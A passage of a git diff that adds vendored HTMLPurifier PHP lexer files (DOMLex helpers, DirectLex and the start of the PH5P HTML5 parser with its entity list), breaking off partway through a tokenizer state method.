+ public function callbackUndoCommentSubst($matches)
+ {
+ return '<!--' . strtr($matches[1], array('&amp;' => '&', '&lt;' => '<')) . $matches[2];
+ }
+
+ /**
+ * Callback function that entity-izes ampersands in comments so that
+ * callbackUndoCommentSubst doesn't clobber them
+ * @param array $matches
+ * @return string
+ */
+ public function callbackArmorCommentEntities($matches)
+ {
+ return '<!--' . str_replace('&', '&amp;', $matches[1]) . $matches[2];
+ }
+
+ /**
+ * Wraps an HTML fragment in the necessary HTML
+ * @param string $html
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return string
+ */
+ protected function wrapHTML($html, $config, $context)
+ {
+ $def = $config->getDefinition('HTML');
+ $ret = '';
+
+ if (!empty($def->doctype->dtdPublic) || !empty($def->doctype->dtdSystem)) {
+ $ret .= '<!DOCTYPE html ';
+ if (!empty($def->doctype->dtdPublic)) {
+ $ret .= 'PUBLIC "' . $def->doctype->dtdPublic . '" ';
+ }
+ if (!empty($def->doctype->dtdSystem)) {
+ $ret .= '"' . $def->doctype->dtdSystem . '" ';
+ }
+ $ret .= '>';
+ }
+
+ $ret .= '<html><head>';
+ $ret .= '<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />';
+ // No protection if $html contains a stray </div>!
+ $ret .= '</head><body><div>' . $html . '</div></body></html>';
+ return $ret;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/DirectLex.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/DirectLex.php
new file mode 100644
index 000000000..746b6e315
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/DirectLex.php
@@ -0,0 +1,539 @@
+<?php
+
+/**
+ * Our in-house implementation of a parser.
+ *
+ * A pure PHP parser, DirectLex has absolutely no dependencies, making
+ * it a reasonably good default for PHP4. Written with efficiency in mind,
+ * it can be four times faster than HTMLPurifier_Lexer_PEARSax3, although it
+ * pales in comparison to HTMLPurifier_Lexer_DOMLex.
+ *
+ * @todo Reread XML spec and document differences.
+ */
+class HTMLPurifier_Lexer_DirectLex extends HTMLPurifier_Lexer
+{
+ /**
+ * @type bool
+ */
+ public $tracksLineNumbers = true;
+
+ /**
+ * Whitespace characters for str(c)spn.
+ * @type string
+ */
+ protected $_whitespace = "\x20\x09\x0D\x0A";
+
+ /**
+ * Callback function for script CDATA fudge
+ * @param array $matches, in form of array(opening tag, contents, closing tag)
+ * @return string
+ */
+ protected function scriptCallback($matches)
+ {
+ return $matches[1] . htmlspecialchars($matches[2], ENT_COMPAT, 'UTF-8') . $matches[3];
+ }
+
+ /**
+ * @param String $html
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array|HTMLPurifier_Token[]
+ */
+ public function tokenizeHTML($html, $config, $context)
+ {
+ // special normalization for script tags without any armor
+ // our "armor" heurstic is a < sign any number of whitespaces after
+ // the first script tag
+ if ($config->get('HTML.Trusted')) {
+ $html = preg_replace_callback(
+ '#(<script[^>]*>)(\s*[^<].+?)(</script>)#si',
+ array($this, 'scriptCallback'),
+ $html
+ );
+ }
+
+ $html = $this->normalize($html, $config, $context);
+
+ $cursor = 0; // our location in the text
+ $inside_tag = false; // whether or not we're parsing the inside of a tag
+ $array = array(); // result array
+
+ // This is also treated to mean maintain *column* numbers too
+ $maintain_line_numbers = $config->get('Core.MaintainLineNumbers');
+
+ if ($maintain_line_numbers === null) {
+ // automatically determine line numbering by checking
+ // if error collection is on
+ $maintain_line_numbers = $config->get('Core.CollectErrors');
+ }
+
+ if ($maintain_line_numbers) {
+ $current_line = 1;
+ $current_col = 0;
+ $length = strlen($html);
+ } else {
+ $current_line = false;
+ $current_col = false;
+ $length = false;
+ }
+ $context->register('CurrentLine', $current_line);
+ $context->register('CurrentCol', $current_col);
+ $nl = "\n";
+ // how often to manually recalculate. This will ALWAYS be right,
+ // but it's pretty wasteful. Set to 0 to turn off
+ $synchronize_interval = $config->get('Core.DirectLexLineNumberSyncInterval');
+
+ $e = false;
+ if ($config->get('Core.CollectErrors')) {
+ $e =& $context->get('ErrorCollector');
+ }
+
+ // for testing synchronization
+ $loops = 0;
+
+ while (++$loops) {
+ // $cursor is either at the start of a token, or inside of
+ // a tag (i.e. there was a < immediately before it), as indicated
+ // by $inside_tag
+
+ if ($maintain_line_numbers) {
+ // $rcursor, however, is always at the start of a token.
+ $rcursor = $cursor - (int)$inside_tag;
+
+ // Column number is cheap, so we calculate it every round.
+ // We're interested at the *end* of the newline string, so
+ // we need to add strlen($nl) == 1 to $nl_pos before subtracting it
+ // from our "rcursor" position.
+ $nl_pos = strrpos($html, $nl, $rcursor - $length);
+ $current_col = $rcursor - (is_bool($nl_pos) ? 0 : $nl_pos + 1);
+
+ // recalculate lines
+ if ($synchronize_interval && // synchronization is on
+ $cursor > 0 && // cursor is further than zero
+ $loops % $synchronize_interval === 0) { // time to synchronize!
+ $current_line = 1 + $this->substrCount($html, $nl, 0, $cursor);
+ }
+ }
+
+ $position_next_lt = strpos($html, '<', $cursor);
+ $position_next_gt = strpos($html, '>', $cursor);
+
+ // triggers on "<b>asdf</b>" but not "asdf <b></b>"
+ // special case to set up context
+ if ($position_next_lt === $cursor) {
+ $inside_tag = true;
+ $cursor++;
+ }
+
+ if (!$inside_tag && $position_next_lt !== false) {
+ // We are not inside tag and there still is another tag to parse
+ $token = new
+ HTMLPurifier_Token_Text(
+ $this->parseData(
+ substr(
+ $html,
+ $cursor,
+ $position_next_lt - $cursor
+ )
+ )
+ );
+ if ($maintain_line_numbers) {
+ $token->rawPosition($current_line, $current_col);
+ $current_line += $this->substrCount($html, $nl, $cursor, $position_next_lt - $cursor);
+ }
+ $array[] = $token;
+ $cursor = $position_next_lt + 1;
+ $inside_tag = true;
+ continue;
+ } elseif (!$inside_tag) {
+ // We are not inside tag but there are no more tags
+ // If we're already at the end, break
+ if ($cursor === strlen($html)) {
+ break;
+ }
+ // Create Text of rest of string
+ $token = new
+ HTMLPurifier_Token_Text(
+ $this->parseData(
+ substr(
+ $html,
+ $cursor
+ )
+ )
+ );
+ if ($maintain_line_numbers) {
+ $token->rawPosition($current_line, $current_col);
+ }
+ $array[] = $token;
+ break;
+ } elseif ($inside_tag && $position_next_gt !== false) {
+ // We are in tag and it is well formed
+ // Grab the internals of the tag
+ $strlen_segment = $position_next_gt - $cursor;
+
+ if ($strlen_segment < 1) {
+ // there's nothing to process!
+ $token = new HTMLPurifier_Token_Text('<');
+ $cursor++;
+ continue;
+ }
+
+ $segment = substr($html, $cursor, $strlen_segment);
+
+ if ($segment === false) {
+ // somehow, we attempted to access beyond the end of
+ // the string, defense-in-depth, reported by Nate Abele
+ break;
+ }
+
+ // Check if it's a comment
+ if (substr($segment, 0, 3) === '!--') {
+ // re-determine segment length, looking for -->
+ $position_comment_end = strpos($html, '-->', $cursor);
+ if ($position_comment_end === false) {
+ // uh oh, we have a comment that extends to
+ // infinity. Can't be helped: set comment
+ // end position to end of string
+ if ($e) {
+ $e->send(E_WARNING, 'Lexer: Unclosed comment');
+ }
+ $position_comment_end = strlen($html);
+ $end = true;
+ } else {
+ $end = false;
+ }
+ $strlen_segment = $position_comment_end - $cursor;
+ $segment = substr($html, $cursor, $strlen_segment);
+ $token = new
+ HTMLPurifier_Token_Comment(
+ substr(
+ $segment,
+ 3,
+ $strlen_segment - 3
+ )
+ );
+ if ($maintain_line_numbers) {
+ $token->rawPosition($current_line, $current_col);
+ $current_line += $this->substrCount($html, $nl, $cursor, $strlen_segment);
+ }
+ $array[] = $token;
+ $cursor = $end ? $position_comment_end : $position_comment_end + 3;
+ $inside_tag = false;
+ continue;
+ }
+
+ // Check if it's an end tag
+ $is_end_tag = (strpos($segment, '/') === 0);
+ if ($is_end_tag) {
+ $type = substr($segment, 1);
+ $token = new HTMLPurifier_Token_End($type);
+ if ($maintain_line_numbers) {
+ $token->rawPosition($current_line, $current_col);
+ $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor);
+ }
+ $array[] = $token;
+ $inside_tag = false;
+ $cursor = $position_next_gt + 1;
+ continue;
+ }
+
+ // Check leading character is alnum, if not, we may
+ // have accidently grabbed an emoticon. Translate into
+ // text and go our merry way
+ if (!ctype_alpha($segment[0])) {
+ // XML: $segment[0] !== '_' && $segment[0] !== ':'
+ if ($e) {
+ $e->send(E_NOTICE, 'Lexer: Unescaped lt');
+ }
+ $token = new HTMLPurifier_Token_Text('<');
+ if ($maintain_line_numbers) {
+ $token->rawPosition($current_line, $current_col);
+ $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor);
+ }
+ $array[] = $token;
+ $inside_tag = false;
+ continue;
+ }
+
+ // Check if it is explicitly self closing, if so, remove
+ // trailing slash. Remember, we could have a tag like <br>, so
+ // any later token processing scripts must convert improperly
+ // classified EmptyTags from StartTags.
+ $is_self_closing = (strrpos($segment, '/') === $strlen_segment - 1);
+ if ($is_self_closing) {
+ $strlen_segment--;
+ $segment = substr($segment, 0, $strlen_segment);
+ }
+
+ // Check if there are any attributes
+ $position_first_space = strcspn($segment, $this->_whitespace);
+
+ if ($position_first_space >= $strlen_segment) {
+ if ($is_self_closing) {
+ $token = new HTMLPurifier_Token_Empty($segment);
+ } else {
+ $token = new HTMLPurifier_Token_Start($segment);
+ }
+ if ($maintain_line_numbers) {
+ $token->rawPosition($current_line, $current_col);
+ $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor);
+ }
+ $array[] = $token;
+ $inside_tag = false;
+ $cursor = $position_next_gt + 1;
+ continue;
+ }
+
+ // Grab out all the data
+ $type = substr($segment, 0, $position_first_space);
+ $attribute_string =
+ trim(
+ substr(
+ $segment,
+ $position_first_space
+ )
+ );
+ if ($attribute_string) {
+ $attr = $this->parseAttributeString(
+ $attribute_string,
+ $config,
+ $context
+ );
+ } else {
+ $attr = array();
+ }
+
+ if ($is_self_closing) {
+ $token = new HTMLPurifier_Token_Empty($type, $attr);
+ } else {
+ $token = new HTMLPurifier_Token_Start($type, $attr);
+ }
+ if ($maintain_line_numbers) {
+ $token->rawPosition($current_line, $current_col);
+ $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor);
+ }
+ $array[] = $token;
+ $cursor = $position_next_gt + 1;
+ $inside_tag = false;
+ continue;
+ } else {
+ // inside tag, but there's no ending > sign
+ if ($e) {
+ $e->send(E_WARNING, 'Lexer: Missing gt');
+ }
+ $token = new
+ HTMLPurifier_Token_Text(
+ '<' .
+ $this->parseData(
+ substr($html, $cursor)
+ )
+ );
+ if ($maintain_line_numbers) {
+ $token->rawPosition($current_line, $current_col);
+ }
+ // no cursor scroll? Hmm...
+ $array[] = $token;
+ break;
+ }
+ break;
+ }
+
+ $context->destroy('CurrentLine');
+ $context->destroy('CurrentCol');
+ return $array;
+ }
+
+ /**
+ * PHP 5.0.x compatible substr_count that implements offset and length
+ * @param string $haystack
+ * @param string $needle
+ * @param int $offset
+ * @param int $length
+ * @return int
+ */
+ protected function substrCount($haystack, $needle, $offset, $length)
+ {
+ static $oldVersion;
+ if ($oldVersion === null) {
+ $oldVersion = version_compare(PHP_VERSION, '5.1', '<');
+ }
+ if ($oldVersion) {
+ $haystack = substr($haystack, $offset, $length);
+ return substr_count($haystack, $needle);
+ } else {
+ return substr_count($haystack, $needle, $offset, $length);
+ }
+ }
+
+ /**
+ * Takes the inside of an HTML tag and makes an assoc array of attributes.
+ *
+ * @param string $string Inside of tag excluding name.
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return array Assoc array of attributes.
+ */
+ public function parseAttributeString($string, $config, $context)
+ {
+ $string = (string)$string; // quick typecast
+
+ if ($string == '') {
+ return array();
+ } // no attributes
+
+ $e = false;
+ if ($config->get('Core.CollectErrors')) {
+ $e =& $context->get('ErrorCollector');
+ }
+
+ // let's see if we can abort as quickly as possible
+ // one equal sign, no spaces => one attribute
+ $num_equal = substr_count($string, '=');
+ $has_space = strpos($string, ' ');
+ if ($num_equal === 0 && !$has_space) {
+ // bool attribute
+ return array($string => $string);
+ } elseif ($num_equal === 1 && !$has_space) {
+ // only one attribute
+ list($key, $quoted_value) = explode('=', $string);
+ $quoted_value = trim($quoted_value);
+ if (!$key) {
+ if ($e) {
+ $e->send(E_ERROR, 'Lexer: Missing attribute key');
+ }
+ return array();
+ }
+ if (!$quoted_value) {
+ return array($key => '');
+ }
+ $first_char = @$quoted_value[0];
+ $last_char = @$quoted_value[strlen($quoted_value) - 1];
+
+ $same_quote = ($first_char == $last_char);
+ $open_quote = ($first_char == '"' || $first_char == "'");
+
+ if ($same_quote && $open_quote) {
+ // well behaved
+ $value = substr($quoted_value, 1, strlen($quoted_value) - 2);
+ } else {
+ // not well behaved
+ if ($open_quote) {
+ if ($e) {
+ $e->send(E_ERROR, 'Lexer: Missing end quote');
+ }
+ $value = substr($quoted_value, 1);
+ } else {
+ $value = $quoted_value;
+ }
+ }
+ if ($value === false) {
+ $value = '';
+ }
+ return array($key => $this->parseData($value));
+ }
+
+ // setup loop environment
+ $array = array(); // return assoc array of attributes
+ $cursor = 0; // current position in string (moves forward)
+ $size = strlen($string); // size of the string (stays the same)
+
+ // if we have unquoted attributes, the parser expects a terminating
+ // space, so let's guarantee that there's always a terminating space.
+ $string .= ' ';
+
+ $old_cursor = -1;
+ while ($cursor < $size) {
+ if ($old_cursor >= $cursor) {
+ throw new Exception("Infinite loop detected");
+ }
+ $old_cursor = $cursor;
+
+ $cursor += ($value = strspn($string, $this->_whitespace, $cursor));
+ // grab the key
+
+ $key_begin = $cursor; //we're currently at the start of the key
+
+ // scroll past all characters that are the key (not whitespace or =)
+ $cursor += strcspn($string, $this->_whitespace . '=', $cursor);
+
+ $key_end = $cursor; // now at the end of the key
+
+ $key = substr($string, $key_begin, $key_end - $key_begin);
+
+ if (!$key) {
+ if ($e) {
+ $e->send(E_ERROR, 'Lexer: Missing attribute key');
+ }
+ $cursor += 1 + strcspn($string, $this->_whitespace, $cursor + 1); // prevent infinite loop
+ continue; // empty key
+ }
+
+ // scroll past all whitespace
+ $cursor += strspn($string, $this->_whitespace, $cursor);
+
+ if ($cursor >= $size) {
+ $array[$key] = $key;
+ break;
+ }
+
+ // if the next character is an equal sign, we've got a regular
+ // pair, otherwise, it's a bool attribute
+ $first_char = @$string[$cursor];
+
+ if ($first_char == '=') {
+ // key="value"
+
+ $cursor++;
+ $cursor += strspn($string, $this->_whitespace, $cursor);
+
+ if ($cursor === false) {
+ $array[$key] = '';
+ break;
+ }
+
+ // we might be in front of a quote right now
+
+ $char = @$string[$cursor];
+
+ if ($char == '"' || $char == "'") {
+ // it's quoted, end bound is $char
+ $cursor++;
+ $value_begin = $cursor;
+ $cursor = strpos($string, $char, $cursor);
+ $value_end = $cursor;
+ } else {
+ // it's not quoted, end bound is whitespace
+ $value_begin = $cursor;
+ $cursor += strcspn($string, $this->_whitespace, $cursor);
+ $value_end = $cursor;
+ }
+
+ // we reached a premature end
+ if ($cursor === false) {
+ $cursor = $size;
+ $value_end = $cursor;
+ }
+
+ $value = substr($string, $value_begin, $value_end - $value_begin);
+ if ($value === false) {
+ $value = '';
+ }
+ $array[$key] = $this->parseData($value);
+ $cursor++;
+ } else {
+ // boolattr
+ if ($key !== '') {
+ $array[$key] = $key;
+ } else {
+ // purely theoretical
+ if ($e) {
+ $e->send(E_ERROR, 'Lexer: Missing attribute key');
+ }
+ }
+ }
+ }
+ return $array;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/PH5P.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/PH5P.php
new file mode 100644
index 000000000..a4587e4cd
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/PH5P.php
@@ -0,0 +1,4788 @@
+<?php
+
+/**
+ * Experimental HTML5-based parser using Jeroen van der Meer's PH5P library.
+ * Occupies space in the HTML5 pseudo-namespace, which may cause conflicts.
+ *
+ * @note
+ * Recent changes to PHP's DOM extension have resulted in some fatal
+ * error conditions with the original version of PH5P. Pending changes,
+ * this lexer will punt to DirectLex if DOM throws an exception.
+ */
+
+class HTMLPurifier_Lexer_PH5P extends HTMLPurifier_Lexer_DOMLex
+{
+ /**
+ * @param string $html
+ * @param HTMLPurifier_Config $config
+ * @param HTMLPurifier_Context $context
+ * @return HTMLPurifier_Token[]
+ */
+ public function tokenizeHTML($html, $config, $context)
+ {
+ $new_html = $this->normalize($html, $config, $context);
+ $new_html = $this->wrapHTML($new_html, $config, $context);
+ try {
+ $parser = new HTML5($new_html);
+ $doc = $parser->save();
+ } catch (DOMException $e) {
+ // Uh oh, it failed. Punt to DirectLex.
+ $lexer = new HTMLPurifier_Lexer_DirectLex();
+ $context->register('PH5PError', $e); // save the error, so we can detect it
+ return $lexer->tokenizeHTML($html, $config, $context); // use original HTML
+ }
+ $tokens = array();
+ $this->tokenizeDOM(
+ $doc->getElementsByTagName('html')->item(0)-> // <html>
+ getElementsByTagName('body')->item(0)-> // <body>
+ getElementsByTagName('div')->item(0) // <div>
+ ,
+ $tokens
+ );
+ return $tokens;
+ }
+}
+
+/*
+
+Copyright 2007 Jeroen van der Meer <http://jero.net/>
+
+Permission is hereby granted, free of charge, to any person obtaining a
+copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be included
+in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+*/
+
+class HTML5
+{
+ private $data;
+ private $char;
+ private $EOF;
+ private $state;
+ private $tree;
+ private $token;
+ private $content_model;
+ private $escape = false;
+ private $entities = array(
+ 'AElig;',
+ 'AElig',
+ 'AMP;',
+ 'AMP',
+ 'Aacute;',
+ 'Aacute',
+ 'Acirc;',
+ 'Acirc',
+ 'Agrave;',
+ 'Agrave',
+ 'Alpha;',
+ 'Aring;',
+ 'Aring',
+ 'Atilde;',
+ 'Atilde',
+ 'Auml;',
+ 'Auml',
+ 'Beta;',
+ 'COPY;',
+ 'COPY',
+ 'Ccedil;',
+ 'Ccedil',
+ 'Chi;',
+ 'Dagger;',
+ 'Delta;',
+ 'ETH;',
+ 'ETH',
+ 'Eacute;',
+ 'Eacute',
+ 'Ecirc;',
+ 'Ecirc',
+ 'Egrave;',
+ 'Egrave',
+ 'Epsilon;',
+ 'Eta;',
+ 'Euml;',
+ 'Euml',
+ 'GT;',
+ 'GT',
+ 'Gamma;',
+ 'Iacute;',
+ 'Iacute',
+ 'Icirc;',
+ 'Icirc',
+ 'Igrave;',
+ 'Igrave',
+ 'Iota;',
+ 'Iuml;',
+ 'Iuml',
+ 'Kappa;',
+ 'LT;',
+ 'LT',
+ 'Lambda;',
+ 'Mu;',
+ 'Ntilde;',
+ 'Ntilde',
+ 'Nu;',
+ 'OElig;',
+ 'Oacute;',
+ 'Oacute',
+ 'Ocirc;',
+ 'Ocirc',
+ 'Ograve;',
+ 'Ograve',
+ 'Omega;',
+ 'Omicron;',
+ 'Oslash;',
+ 'Oslash',
+ 'Otilde;',
+ 'Otilde',
+ 'Ouml;',
+ 'Ouml',
+ 'Phi;',
+ 'Pi;',
+ 'Prime;',
+ 'Psi;',
+ 'QUOT;',
+ 'QUOT',
+ 'REG;',
+ 'REG',
+ 'Rho;',
+ 'Scaron;',
+ 'Sigma;',
+ 'THORN;',
+ 'THORN',
+ 'TRADE;',
+ 'Tau;',
+ 'Theta;',
+ 'Uacute;',
+ 'Uacute',
+ 'Ucirc;',
+ 'Ucirc',
+ 'Ugrave;',
+ 'Ugrave',
+ 'Upsilon;',
+ 'Uuml;',
+ 'Uuml',
+ 'Xi;',
+ 'Yacute;',
+ 'Yacute',
+ 'Yuml;',
+ 'Zeta;',
+ 'aacute;',
+ 'aacute',
+ 'acirc;',
+ 'acirc',
+ 'acute;',
+ 'acute',
+ 'aelig;',
+ 'aelig',
+ 'agrave;',
+ 'agrave',
+ 'alefsym;',
+ 'alpha;',
+ 'amp;',
+ 'amp',
+ 'and;',
+ 'ang;',
+ 'apos;',
+ 'aring;',
+ 'aring',
+ 'asymp;',
+ 'atilde;',
+ 'atilde',
+ 'auml;',
+ 'auml',
+ 'bdquo;',
+ 'beta;',
+ 'brvbar;',
+ 'brvbar',
+ 'bull;',
+ 'cap;',
+ 'ccedil;',
+ 'ccedil',
+ 'cedil;',
+ 'cedil',
+ 'cent;',
+ 'cent',
+ 'chi;',
+ 'circ;',
+ 'clubs;',
+ 'cong;',
+ 'copy;',
+ 'copy',
+ 'crarr;',
+ 'cup;',
+ 'curren;',
+ 'curren',
+ 'dArr;',
+ 'dagger;',
+ 'darr;',
+ 'deg;',
+ 'deg',
+ 'delta;',
+ 'diams;',
+ 'divide;',
+ 'divide',
+ 'eacute;',
+ 'eacute',
+ 'ecirc;',
+ 'ecirc',
+ 'egrave;',
+ 'egrave',
+ 'empty;',
+ 'emsp;',
+ 'ensp;',
+ 'epsilon;',
+ 'equiv;',
+ 'eta;',
+ 'eth;',
+ 'eth',
+ 'euml;',
+ 'euml',
+ 'euro;',
+ 'exist;',
+ 'fnof;',
+ 'forall;',
+ 'frac12;',
+ 'frac12',
+ 'frac14;',
+ 'frac14',
+ 'frac34;',
+ 'frac34',
+ 'frasl;',
+ 'gamma;',
+ 'ge;',
+ 'gt;',
+ 'gt',
+ 'hArr;',
+ 'harr;',
+ 'hearts;',
+ 'hellip;',
+ 'iacute;',
+ 'iacute',
+ 'icirc;',
+ 'icirc',
+ 'iexcl;',
+ 'iexcl',
+ 'igrave;',
+ 'igrave',
+ 'image;',
+ 'infin;',
+ 'int;',
+ 'iota;',
+ 'iquest;',
+ 'iquest',
+ 'isin;',
+ 'iuml;',
+ 'iuml',
+ 'kappa;',
+ 'lArr;',
+ 'lambda;',
+ 'lang;',
+ 'laquo;',
+ 'laquo',
+ 'larr;',
+ 'lceil;',
+ 'ldquo;',
+ 'le;',
+ 'lfloor;',
+ 'lowast;',
+ 'loz;',
+ 'lrm;',
+ 'lsaquo;',
+ 'lsquo;',
+ 'lt;',
+ 'lt',
+ 'macr;',
+ 'macr',
+ 'mdash;',
+ 'micro;',
+ 'micro',
+ 'middot;',
+ 'middot',
+ 'minus;',
+ 'mu;',
+ 'nabla;',
+ 'nbsp;',
+ 'nbsp',
+ 'ndash;',
+ 'ne;',
+ 'ni;',
+ 'not;',
+ 'not',
+ 'notin;',
+ 'nsub;',
+ 'ntilde;',
+ 'ntilde',
+ 'nu;',
+ 'oacute;',
+ 'oacute',
+ 'ocirc;',
+ 'ocirc',
+ 'oelig;',
+ 'ograve;',
+ 'ograve',
+ 'oline;',
+ 'omega;',
+ 'omicron;',
+ 'oplus;',
+ 'or;',
+ 'ordf;',
+ 'ordf',
+ 'ordm;',
+ 'ordm',
+ 'oslash;',
+ 'oslash',
+ 'otilde;',
+ 'otilde',
+ 'otimes;',
+ 'ouml;',
+ 'ouml',
+ 'para;',
+ 'para',
+ 'part;',
+ 'permil;',
+ 'perp;',
+ 'phi;',
+ 'pi;',
+ 'piv;',
+ 'plusmn;',
+ 'plusmn',
+ 'pound;',
+ 'pound',
+ 'prime;',
+ 'prod;',
+ 'prop;',
+ 'psi;',
+ 'quot;',
+ 'quot',
+ 'rArr;',
+ 'radic;',
+ 'rang;',
+ 'raquo;',
+ 'raquo',
+ 'rarr;',
+ 'rceil;',
+ 'rdquo;',
+ 'real;',
+ 'reg;',
+ 'reg',
+ 'rfloor;',
+ 'rho;',
+ 'rlm;',
+ 'rsaquo;',
+ 'rsquo;',
+ 'sbquo;',
+ 'scaron;',
+ 'sdot;',
+ 'sect;',
+ 'sect',
+ 'shy;',
+ 'shy',
+ 'sigma;',
+ 'sigmaf;',
+ 'sim;',
+ 'spades;',
+ 'sub;',
+ 'sube;',
+ 'sum;',
+ 'sup1;',
+ 'sup1',
+ 'sup2;',
+ 'sup2',
+ 'sup3;',
+ 'sup3',
+ 'sup;',
+ 'supe;',
+ 'szlig;',
+ 'szlig',
+ 'tau;',
+ 'there4;',
+ 'theta;',
+ 'thetasym;',
+ 'thinsp;',
+ 'thorn;',
+ 'thorn',
+ 'tilde;',
+ 'times;',
+ 'times',
+ 'trade;',
+ 'uArr;',
+ 'uacute;',
+ 'uacute',
+ 'uarr;',
+ 'ucirc;',
+ 'ucirc',
+ 'ugrave;',
+ 'ugrave',
+ 'uml;',
+ 'uml',
+ 'upsih;',
+ 'upsilon;',
+ 'uuml;',
+ 'uuml',
+ 'weierp;',
+ 'xi;',
+ 'yacute;',
+ 'yacute',
+ 'yen;',
+ 'yen',
+ 'yuml;',
+ 'yuml',
+ 'zeta;',
+ 'zwj;',
+ 'zwnj;'
+ );
+
+ const PCDATA = 0;
+ const RCDATA = 1;
+ const CDATA = 2;
+ const PLAINTEXT = 3;
+
+ const DOCTYPE = 0;
+ const STARTTAG = 1;
+ const ENDTAG = 2;
+ const COMMENT = 3;
+ const CHARACTR = 4;
+ const EOF = 5;
+
+ public function __construct($data)
+ {
+ $this->data = $data;
+ $this->char = -1;
+ $this->EOF = strlen($data);
+ $this->tree = new HTML5TreeConstructer;
+ $this->content_model = self::PCDATA;
+
+ $this->state = 'data';
+
+ while ($this->state !== null) {
+ $this->{$this->state . 'State'}();
+ }
+ }
+
+ public function save()
+ {
+ return $this->tree->save();
+ }
+
+ private function char()
+ {
+ return ($this->char < $this->EOF)
+ ? $this->data[$this->char]
+ : false;
+ }
+
+ private function character($s, $l = 0)
+ {
+ if ($s + $l < $this->EOF) {
+ if ($l === 0) {
+ return $this->data[$s];
+ } else {
+ return substr($this->data, $s, $l);
+ }
+ }
+ }
+
+ private function characters($char_class, $start)
+ {
+ return preg_replace('#^([' . $char_class . ']+).*#s', '\\1', substr($this->data, $start));
+ }
+
+ private function dataState()
+ {
+ // Consume the next input character
+ $this->char++;
+ $char = $this->char();
+
+ if ($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) {
+ /* U+0026 AMPERSAND (&)
+ When the content model flag is set to one of the PCDATA or RCDATA
+ states: switch to the entity data state. Otherwise: treat it as per
+ the "anything else" entry below. */
+ $this->state = 'entityData';
+
+ } elseif ($char === '-') {
+ /* If the content model flag is set to either the RCDATA state or
+ the CDATA state, and the escape flag is false, and there are at
+ least three characters before this one in the input stream, and the
+ last four characters in the input stream, including this one, are
+ U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS,
+ and U+002D HYPHEN-MINUS ("<!--"), then set the escape flag to true. */
+ if (($this->content_model === self::RCDATA || $this->content_model ===
+ self::CDATA) && $this->escape === false &&
+ $this->char >= 3 && $this->character($this->char - 4, 4) === '<!--'
+ ) {
+ $this->escape = true;
+ }
+
+ /* In any case, emit the input character as a character token. Stay
+ in the data state. */
+ $this->emitToken(
+ array(
+ 'type' => self::CHARACTR,
+ 'data' => $char
+ )
+ );
+
+ /* U+003C LESS-THAN SIGN (<) */
+ } elseif ($char === '<' && ($this->content_model === self::PCDATA ||
+ (($this->content_model === self::RCDATA ||
+ $this->content_model === self::CDATA) && $this->escape === false))
+ ) {
+ /* When the content model flag is set to the PCDATA state: switch
+ to the tag open state.
+
+ When the content model flag is set to either the RCDATA state or
+ the CDATA state and the escape flag is false: switch to the tag
+ open state.
+
+ Otherwise: treat it as per the "anything else" entry below. */
+ $this->state = 'tagOpen';
+
+ /* U+003E GREATER-THAN SIGN (>) */
+ } elseif ($char === '>') {
+ /* If the content model flag is set to either the RCDATA state or
+ the CDATA state, and the escape flag is true, and the last three
+ characters in the input stream including this one are U+002D
+ HYPHEN-MINUS, U+002D HYPHEN-MINUS, U+003E GREATER-THAN SIGN ("-->"),
+ set the escape flag to false. */
+ if (($this->content_model === self::RCDATA ||
+ $this->content_model === self::CDATA) && $this->escape === true &&
+ $this->character($this->char, 3) === '-->'
+ ) {
+ $this->escape = false;
+ }
+
+ /* In any case, emit the input character as a character token.
+ Stay in the data state. */
+ $this->emitToken(
+ array(
+ 'type' => self::CHARACTR,
+ 'data' => $char
+ )
+ );
+
+ } elseif ($this->char === $this->EOF) {
+ /* EOF
+ Emit an end-of-file token. */
+ $this->EOF();
+
+ } elseif ($this->content_model === self::PLAINTEXT) {
+ /* When the content model flag is set to the PLAINTEXT state
+ THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of
+ the text and emit it as a character token. */
+ $this->emitToken(
+ array(
+ 'type' => self::CHARACTR,
+ 'data' => substr($this->data, $this->char)
+ )
+ );
+
+ $this->EOF();
+
+ } else {
+ /* Anything else
+ THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that
+ otherwise would also be treated as a character token and emit it
+ as a single character token. Stay in the data state. */
+ $len = strcspn($this->data, '<&', $this->char);
+ $char = substr($this->data, $this->char, $len);
+ $this->char += $len - 1;
+
+ $this->emitToken(
+ array(
+ 'type' => self::CHARACTR,
+ 'data' => $char
+ )
